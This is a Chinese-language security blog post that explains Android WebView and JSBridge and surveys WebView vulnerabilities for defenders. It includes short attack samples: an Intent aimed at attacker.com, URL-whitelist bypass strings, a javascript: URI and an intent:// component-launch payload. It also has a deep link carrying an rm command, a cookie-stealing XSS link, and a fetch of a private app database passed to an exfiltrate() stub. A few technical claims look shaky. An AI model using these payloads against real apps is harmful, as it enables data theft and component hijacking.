WebView安全实现(一)

发布于:2025-07-08 ⋅ 阅读:(22) ⋅ 点赞:(0)

本文作者:杉木@涂鸦智能安全实验室

Webview核心机制

Webview:承载 Web 内容的容器

WebView 是移动端(Android/iOS)提供的系统组件,用于在 App 内嵌入并渲染网页(HTML/CSS/JavaScript)

其核心功能包括:

  • 资源加载:通过 loadUrl() 加载远程或本地资源(如 HTML/JS)。
  • JS 交互:通过 @JavascriptInterface 注解暴露原生 API。
  • 隔离性:JavaScript 运行在独立的 JS Context 中,无法直接访问原生系统功能(如相机、文件系统)
  • 身份验证:依赖 域名(Origin)子应用 ID(AppID)能力令牌(Capability) 控制权限(如图)。

JSBridge:连接 Web 与 Native 的通信桥梁

JSBridge 是一种基于协议或注入 API 的通信机制,通过 WebView 的接口实现 JavaScript 与原生代码的双向调用;

JSBridge 如何依赖 WebView 实现通信?

  1. WebView 提供通信基础
  • API 注入(主流方式):WebView 通过接口将原生对象注入到 JS Context 中(如 Android 的 addJavascriptInterface,iOS 的 WKScriptMessageHandler),使 JavaScript 可直接调用原生方法。
  • URL Scheme 拦截:WebView 拦截 JavaScript 发起的自定义协议请求(如 jsbridge://method?params),解析后执行原生逻辑。
  1. JSBridge 封装通信逻辑
  • 标准化协议:定义数据格式(如 JSON-RPC)和回调机制,简化调用流程。
  • 跨平台兼容:封装 Android/iOS 的 WebView 差异,提供统一接口(如开源库 WebViewJavascriptBridge

系统和超级应用和子应用

了解完基础的概念,这里介绍一下系统框架,如图所示;

请添加图片描述

先描述一下图的内容,系统也就是整个图;超级应用是整个APP;子应用是包含但不仅限于WebView内容;

从下往上介绍了,嵌⼊的浏览器实例(也就是WebView)为⼦应⽤提供了⼀个隔离的环境;此类实例通常包含⼀个⾃定义的 worker 来加载和执⾏预定义的⼦应⽤代码。然后可以执行对应的API 以访问对各种资源,如⽤户数据、⽹络资料等,一般来说子应用之间的数据也是隔离的,但是这些资源也可以是当前APP的,当然无法是其他APP的,因为系统就限制了APP私有目录之间的访问。

然后web-to- mobile bridge其实也就是JSBridge,将⼦应⽤代码与原⽣ Java 代码连接起来,也就是前面介绍的内容了;所有 API 调⽤都封装成⼀个通过“addJavaScriptInterface”注册的调度⽅法发送到APP侧的消息。APP解析接收到的消息,找到相应的 API,检查权限,如果检查通过,则调⽤。

然后是上面部分内容,APP根据深链中的子应⽤ ID 找到⼦应⽤或者其他的方式,如路由、扫码等,但本质还是类似深链;从APP自己的应用市场下载⼀个js包。然后这里的子应用是根据实际的业务场景来取决,官方的会访问APP服务器,三方的会访问三方服务器、广告商等内容,而且也可以请求APP提供的API;

  1. 当从⼦应⽤或第三⽅服务器获取⽹⻚内容并在 WebView 实例中渲染时,APP会检查获取的内容的身份(loadURL时要检验域名);
  2. 当 WebView 实例访问APP提供的 API 时,APP要根据子应用权限来验证是否具有调用相关API的权限;

WeView使用

这里以android为例,参考官方文档

WebView | API 参考 | Android 开发者

在 WebView 中构建 Web 应用 | Android Developers

先在xml中设置布局配置

<WebView
    android:id="@+id/webview"
    android:layout_width="match_parent"
    android:layout_height="match_parent"/>

在代码初始化和加载网页

WebView webView = findViewById(R.id.webview);
// 启用基础功能(如JS支持)
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true); 

// 加载远程URL
webView.loadUrl("https://example.com"); 
// 或加载本地HTML(assets目录)
webView.loadUrl("file:///android_asset/local.html"); [2,7](@ref)

网络权限声明

<uses-permission android:name="android.permission.INTERNET" />

WebView事件监听处理

webView.setWebViewClient(new WebViewClient() {
    @Override
    public void onPageStarted(WebView view, String url, Bitmap favicon) {
        // 显示进度条
    }
    @Override
    public void onPageFinished(WebView view, String url) {
        // 隐藏进度条
    }
    @Override
    public boolean shouldOverrideUrlLoading(WebView view, String url) {
        // 拦截链接点击(返回false由WebView处理)
        return false;
    }
});

WebView和JS的交互

类型 调用方式 关键安全风险 最佳实践
Android调用JS loadUrl() 4.4以下设备兼容方案
evaluateJavascript() 4.4+设备首选(异步高效)
JS调用Android addJavascriptInterface() 4.2以下未注解方法可被恶意调用 所有方法添加 @JavascriptInterface
shouldOverrideUrlLoading() 协议解析缺陷可能导致XSS 严格校验Scheme和参数(如白名单校验jsbridge://
onJsPrompt() 未过滤输入可能导致注入 过滤特殊字符(如<, >

这里列举的关键安全风险是根据应用的开发人员角度来解析,或者说是google开发平台提供的针对开发人员安全开发的要求规范;

拿loadUrl()函数来举例,上面关键安全风险是没有,google开发者平台上WebView:不安全的 URI 加载 | Security | Android Developers提到“处理字符串 URI 时,请务必将字符串解析为 URI 并验证 scheme 和主机”,简单说技术风险可规避,如安全使用白名单,代码侧通过安全解析传递的URI后再进行请求;但若是业务上需要把URI的配置交给用户(如一些toB的业务上),那这种情况要如何处理?后续会通过流程的角度来解析这类风险。

WebView常见风险

这里引用google官方对于WebView的相关风险以及跟WebView实现的场景可能相关的风险;

WebView - 不安全的文件包含 | Security | Android Developers

WebView – Native bridges | Security | Android Developers

WebView:不安全的 URI 加载 | App quality | Android Developers

Cross-app scripting | Security | Android Developers

压缩路径遍历 | App quality | Android Developers

直接贴大佬整理好的WebView漏洞,而且大佬对于漏洞的复现测试非常详细,详细查看[原创]Android APP漏洞之战(13)——WebView漏洞详解-Android安全-看雪-安全社区|安全招聘|kanxue.com

我这里就简单总结一下;

请添加图片描述

一、私有文件窃取漏洞

1. 跨域文件读取(应用克隆攻击)

  • 触发条件setAllowFileAccess(true) + setAllowFileAccessFromFileURLs(true)setAllowUniversalAccessFromFileURLs(true)
  • 利用方式:恶意JS通过AJAX读取私有文件(如file:///data/data/app_package/shared_prefs/config.xml

这部分具体也可以看我多年之前的漏洞分析;Android平台WebView控件存在跨域访问高危漏洞_webview组件跨域访问风险-CSDN博客

2. 移花接木(软链接劫持)

  • 触发条件:仅开启 setAllowFileAccess(true)(默认开启)
  • 利用方式
    1. 诱导WebView访问攻击者可控的网页(如http://evil.com/mal.html);
    2. 在网页加载延迟期间,将文件替换为指向私有文件的软链接;
    3. WebView读取被替换的软链接,泄露私有文件内容。

这个漏洞复现参考Android安全检测-WebView File域同源策略绕过漏洞_webview file同源策略绕过漏洞-CSDN博客,在Android 7.0以上已修复;

3. 含沙射影(Cookies污染)

  • 触发条件setAllowFileAccess(true) + WebView可加载任意URL
  • 利用方式
    1. 通过恶意JS在Cookies中写入Payload;
    2. 构造软链接指向目标Cookies文件;
    3. 诱导WebView加载被污染的Cookies文件执行Payload。

这部分的具体漏洞利用可以参考Android-Webview中的漏洞利用总结 | CTF导航

官方提到的修复方案修复跨应用脚本漏洞 - Google帮助

二、URL校验绕过漏洞

1. 校验逻辑缺陷

  • 大小写绕过:校验scheme时忽略大小写(如FiLe://替代file://)。
  • 域名闭合缺失endWith("trust.com") 可被 eviltrust.com 绕过。
  • 特殊字符注入
    • 利用\替换/(如http:/\evil.com),低版本WebView可解析;
    • 使用@符号绕过(如http://trust.com@evil.com)。

2. 协议混淆攻击

  • JavaScript协议绕过:未校验scheme时,通过javascript:alert(1)执行任意代码。
  • Intent Scheme注入:未过滤intent://协议,导致任意组件启动(如intent://#Intent;component=com.victim/.SecretActivity;end)。

3. 服务端跳转滥用

  • 白名单域名跳转:若白名单内服务端存在开放重定向漏洞,攻击者可构造http://trust.com/redirect?url=http://evil.com绕过校验。

4. 竞争条件漏洞

  • 利用跳转时间差
    1. JS控制WebView跳转至白名单域名;
    2. 在页面未完全销毁前,快速调用特权接口(如getToken());
    3. 校验逻辑误判当前URL为可信域名,窃取敏感信息。

5. 白名单内域名过期

查看白名单内域名过期使用情况,如遇到白名单内域名过期,如解析已经失效或者提示需要购买等情况,攻击者可以购买对应域名后进行攻击行为;

这种属逻辑类型的问题很多都是根据实际的情况来分析,各种场景的情况都有,这里可以参考进行分析 3.URL配置漏洞

Android WebView URL检查绕过 | m4bln

三、Intent + WebView 漏洞

1. 导出组件恶意界面加载

  • 漏洞原理当WebView所在的Activity组件被导出(android:exported=true)时,攻击者通过Intent传递恶意URL,诱导WebView加载钓鱼页面或窃取敏感数据。
  • 攻击步骤
// 恶意应用构造攻击Intent
Intent exploit = new Intent();
exploit.setClassName("com.victim.app", "com.victim.app.WebActivity");
exploit.setData(Uri.parse("http://attacker.com/malicious.html"));
startActivity(exploit);
  • 实际危害窃取WebView存储的密码(明文保存在webview.db)、Cookie、本地文件等。

2. Intent重定向导致LaunchAnyWhere

  • 漏洞原理可导出的Activity组件未校验Intent参数,导致攻击者构造重定向链访问私有组件:

    // 正常导出组件
    public class WebViewActivity extends Activity {
        protected void onCreate(Bundle savedInstanceState) {
            // 未校验Intent extras
            Intent privateIntent = getIntent().getParcelableExtra("redirect");
            startActivity(privateIntent); // 启动私有组件
        }
    }
    
  • 利用链

    携带恶意Intent
    攻击者Intent
    导出Activity
    私有Activity
    加载恶意WebView
  • 防护方案

    • 禁止导出非必要组件
    • 校验Intent.getAction()Intent.getData()

很多应用为了APP于APP之间的联动都有可被外部调用的Activity,而有些Activity可以传递Intent参数作为业务参数进行相关业务处理,当这些参数没有处理好的时候很容易出现相关问题,这里列出来的只是Intent + WebView 可能导致的问题;

四、DeepLink + WebView 漏洞

1. 任意代码执行

  • 触发条件DeepLink未校验调用方包名,攻击者伪造合法应用包名:

    <!-- 恶意App的AndroidManifest.xml -->
    <manifest package="com.target.app"> <!-- 伪装目标包名 -->
        <activity android:name=".EvilActivity">
            <intent-filter>
                <data android:scheme="victim" />
            </intent-filter>
        </activity>
    </manifest>
    
  • 执行路径victim://deeplink?cmd=rm+/data → 触发WebView执行系统命令

2. XSS注入漏洞

  • 攻击模式

    <!-- 恶意DeepLink载荷 -->
    <a href="victim://load?html=<script>alert(document.cookie)</script>">
        点击领取优惠券
    </
    
  • 利用场景:通过WebView.loadDataWithBaseURL()加载未消毒的HTML

3. 组合漏洞利用

  • 典型攻击链

    1. DeepLink协议未校验 → 注入恶意JS
    2. JS调用隐藏API → 读取私有文件
    3. 符号链接绕过 → 窃取/data/data/[app]/databases
  • 实际案例

    // 恶意JS代码
    function stealData() {
        fetch('file:///data/data/com.victim/db')
          .then(data => exfiltrate(data)) 
    }
    

4. loadDataWithBaseURL漏洞

  • 高危场景

    // 攻击者控制baseURL和data参数
    webView.loadDataWithBaseURL(
        "https://trusted.com", 
        "<script>malicious()</script>", 
        "text/html", "UTF-8", null
    );
    
    • 结果:在trusted.com域下执行任意JS

deeplink+webview的攻击场景参考Android中的特殊攻击面(二)——危险的deeplink

限于篇幅,把安全方案设计放到下一篇讲。

参考

https://www.kanxue.com/chm.htm?id=18037

https://www.kanxue.com/chm.htm?id=19271

Android WebView URL检查绕过 | m4bln

Android-Webview中的漏洞利用总结 | CTF导航

Android安全检测-WebView File域同源策略绕过漏洞_webview file同源策略绕过漏洞-CSDN博客

sec22-zhang-lei.pdf

bbs.kanxue.com/article-14155.htm

漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。


网站公告

今日签到

点亮在社区的每一天
去签到